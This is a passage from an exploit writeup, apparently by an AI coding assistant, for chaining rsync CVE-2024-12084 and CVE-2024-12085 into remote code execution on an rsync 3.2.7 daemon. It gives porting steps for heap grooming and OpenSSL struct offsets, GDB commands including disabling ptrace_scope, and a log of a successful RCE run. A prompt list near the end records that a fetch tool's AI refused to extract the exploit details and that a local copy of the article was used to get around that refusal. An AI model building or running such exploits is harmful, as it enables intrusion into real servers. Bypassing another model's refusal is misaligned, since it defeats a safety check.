| `CHECK_COMPRESSION_OFFSET` | Different .text layout | `nm rsync \| grep set_compression` then add 599 |
| `XFER_SUM_NNI_OFFSET` | Different .data layout | `nm rsync \| grep valid_checksums_items`, then GDB to find SHA1 entry |
| Heap grooming | Different glibc version | See below |
| OpenSSL struct offsets | Different OpenSSL version | Reverse-engineer EVP_MD_CTX/EVP_MD layouts |
| .bss neighbor globals | Different compiler | `nm rsync \| sort` near ctx_evp |
### Adapting heap grooming for a new glibc
The #1 portability issue is heap grooming. The exploit needs `sum_struct`
allocated immediately after `sum_buf[]` with only an 8-byte chunk header
between them.
**Step 1**: Check malloc chunk sizes:
```c
// Compile and run on target:
#include <stdio.h>
#include <stdlib.h>
#include <malloc.h>
int main() {
for (int sz = 1; sz <= 48; sz++) {
void *p = malloc(sz);
printf("malloc(%2d) -> usable=%zu chunk=%zu\n",
sz, malloc_usable_size(p), malloc_usable_size(p)+8);
free(p);
}
}
```
**Step 2**: Set breakpoint at `sender.c:98` and check the gap:
```
(gdb) break sender.c:98
(gdb) continue
(gdb) printf "s=%p sums=%p diff=%ld\n", s, s->sums, (long)s - ((long)s->sums + s->count*40)
```
If `diff = 8` → grooming is correct.
If `diff > 8` → extra chunks in the gap. Try:
- Removing the second filter
- Adjusting filter pattern sizes
- Adding more filter rules to consume extra tcache entries
**Step 3**: Check which .bss globals the payload overwrites:
```bash
nm rsync | sort | awk -v base=$(nm rsync | grep ' B ctx_evp$' | cut -d' ' -f1) \
'{ a=strtonum("0x"$1); b=strtonum("0x"base); if (a>=b && a<b+300) print }'
```
Any global between `ctx_evp` and `ctx_evp+289` that is read during the
trigger path must be preserved in the payload. On our target,
`xfer_sum_nni` at `+0x30` was the critical one.
### Adapting for different OpenSSL versions
The trigger relies on OpenSSL's `EVP_DigestInit_ex` calling
`ctx->digest->freectx(ctx->algctx)`. This cleanup path exists in
OpenSSL 3.x when reinitializing a context that already has an `algctx`.
For OpenSSL 1.1.x, the struct layout and cleanup path differ. You'll
need to reverse-engineer `EVP_DigestInit_ex` in the target's
`libcrypto.so` to find:
- The offset of `digest` in `EVP_MD_CTX`
- The offset of `algctx` in `EVP_MD_CTX`
- The offset of `freectx` in `EVP_MD`
- What conditions trigger the cleanup (flags, etc.)
### Adapting for non-SHA1 checksums
If the target server supports xxhash (most stock packages do), Phase 1
uses xxhash64 (8-byte digest) for a faster and more reliable info leak.
If only SHA1/MD5 are available, the info leak window starts at offset 20
instead of 8, requiring binary-specific analysis to locate a pointer
in that range.
Phase 2 uses SHA1 as the checksum for the overflow connection. The
`XFER_SUM_NNI_OFFSET` must point to whichever checksum entry is
negotiated. Use GDB to verify:
```
(gdb) break sender.c:98
(gdb) printf "xfer_sum_nni->name=%s offset=0x%lx\n", xfer_sum_nni->name, (long)xfer_sum_nni - base
```
---
## 5. Debugging Methodology
### Essential GDB techniques
**Attach to daemon with fork following**:
```bash
DPID=$(pgrep -x rsync)
gdb -q -p $DPID \
-ex "set follow-fork-mode child" \
-ex "set detach-on-fork off" \
-ex "set pagination off"
```
Ensure `ptrace_scope` allows attaching:
```bash
echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope
```
**Key breakpoints**:
```
break sender.c:98 # after sum_buf + sum_struct allocated
break shell_exec # RCE trigger
watch *(long*)&ctx_evp # detect ctx_evp overwrite
break sum_init # check nni argument
break flist_for_ndx # track ndx values
```
**Check heap layout**:
```
(gdb) break sender.c:98
(gdb) printf "s=%p sums=%p gap=%ld\n", s, s->sums, (long)s - ((long)s->sums + 200)
(gdb) x/16gx (char*)s->sums + 200 - 8
```
**Check .bss state after overflow**:
```
(gdb) watch *(long*)&ctx_evp
(gdb) continue
# When hit:
(gdb) x/40gx &ctx_evp
(gdb) printf "xfer_sum_nni=%p\n", xfer_sum_nni
```
### Daemon log messages and their meaning
| Log message | Meaning |
|------------|---------|
| `File-list index N not in -1 - M` | Server read ndx=N but file list only has M entries. Usually means overflow didn't work (leftover data read as next ndx). |
| `unexpected tag -N` | Client sent non-multiplexed data but server expects multiplexed, or vice versa. Check `out_multiplexed` setting. |
| `connection unexpectedly closed` | Normal when exploit closes connection after payload delivery. |
| No error, just `building file list` | Server likely crashed silently (SIGSEGV/SIGABRT in child). Check with GDB. |
### Wire capture technique
Wrap the socket to log all sends after protocol setup:
```python
class LogSocket:
def __init__(self, sock):
self._sock = sock
self.log = []
def sendall(self, data):
self.log.append(bytes(data))
return self._sock.sendall(data)
def __getattr__(self, name):
return getattr(self._sock, name)
rc.sock = LogSocket(rc.sock)
```
Parse MSG_DATA headers:
```python
raw_tag = struct.unpack('<I', data[:4])[0]
msg_tag = (raw_tag >> 24) - 7 # 0 = MSG_DATA
msg_len = raw_tag & 0xFFFFFF
```
---
## 6. Successful Exploit Run
```
$ python3 /tmp/test_phase2.py
daemon PID=3797045, base=0x6085e935a000
[*] Phase 2: heap overflow → RCE
shell_exec = 0x6085e9385970
ctx_evp = 0x6085e93f7c28
payload = 289 bytes at &ctx_evp
fake_ctx = 0x6085e93f7c30 (+8)
fake_evpmd = 0x6085e93f7c78 (+80)
cmd_addr = 0x6085e93f7d30 (+264)
target ndx=1 file=bar.txt
sending payload (289 bytes) to &ctx_evp...
overflow complete, consuming server output...
server connection ended: connection closed
[+] Payload delivered — check if command executed.
*** RCE SUCCEEDED! ***
```
```
$ cat /tmp/rce_proof2.txt
uid=1000(x) gid=1000(x) groups=1000(x),4(adm),24(cdrom),...
```
---
## 7. User Prompts That Guided This Work
Every user prompt from the session, in chronological order. These shaped
every major pivot in the development process.
1. *Initial request* — Asked to exploit rsync CVE-2024-12084 (heap
overflow) + CVE-2024-12085 (info leak) into a full RCE chain against
rsync 3.2.7 daemon, following the Phrack 72 "Desync the Planet"
article.
2. **"why are you modifying the rsync source?"** — I had been adding
`fprintf` debug statements to sender.c and recompiling. The user
correctly pointed out this shifts binary offsets (ctx_evp, shell_exec,
etc.) and invalidates the exploit constants.
3. **"you should be using gdb .."** — Redirected from printf-debugging
to GDB. Led to the attach-to-daemon workflow with
`set follow-fork-mode child` that proved essential for every
subsequent debugging step.
4. **"what sandbox"** — I had confused /tmp file isolation with
sandboxing. Clarified the environment.
5. **"if you need root the password is x ?"** — Provided root credentials
to fix `ptrace_scope` (was set to 1, blocking GDB attach). We ran
`echo 0 > /proc/sys/kernel/yama/ptrace_scope`.
6. **"are you following the phrack exploitation? it outlines it pretty
clear"** — Critical redirect. I had been inventing a multi-entry
layout trying to align 40-byte sum_buf strides with 48-byte EVP_MD_CTX
field offsets. The Phrack one-shot contiguous write approach is far
simpler and more reliable.
7. **"read the phrack exploit - they use the info leak + heap overflow
to get a reliable exploit."** — Prompted me to actually read the
full Phrack article rather than working from partial understanding.
8. **"the writeup is in /tmp/rsync.txt"** — Pointed to the local copy of
the Phrack article. Saved time vs trying to web-fetch it (the
WebFetch AI model refused to extract exploit details).
9. **"if you need to setup a qemu with the exact debian + rsync used
that is fine"** — Offered to set up the exact Debian 12 target
environment. We didn't end up needing this because we adapted the
exploit to our Ubuntu 22.04 system, but this would be the fastest
path for exact reproduction of the Phrack PoC.
10. **"perfect it seems to work!! can you document your whole process +
my prompts in a writeup! include how to get it working on other
installations etc and debugging instructions."** — Led to this
writeup document.
11. **"now that you have a good grasp of this vulnerability and
exploitation can you audit the latest rsync for variants that may
allow exploitation"** — Led to the security audit of rsync 3.4.1
documented in the appendix.
12. **"the WRITEUP didnt include all of my prompts"** — This correction,
leading to this expanded prompt section.
---
## 8. File Inventory
| File | Description |
|------|-------------|
| `exploit.py` | Combined Phase 1 (info leak) + Phase 2 (heap overflow → RCE) |
| `rsync_lib.py` | Python rsync protocol library |
| `writeup.md` | This document |
### Prerequisites
```bash
pip install xxhash # needed for Phase 1 info leak
make # builds libfnamecmp.so for file list sorting
```
## 9. References
- Phrack 72, Article 11: "Desync the Planet - Rsync RCE" by Simon
Scannell, Pedro Gallegos, Jasiel Spelman
(https://phrack.org/issues/72/11_md)
- CVE-2024-12084: Heap Buffer Overflow in Checksum Parsing
- CVE-2024-12085: Info Leak via Uninitialized Stack Value
- rsync 3.2.7 source: https://download.samba.org/pub/rsync/src/
File diff suppressed because it is too large Load Diff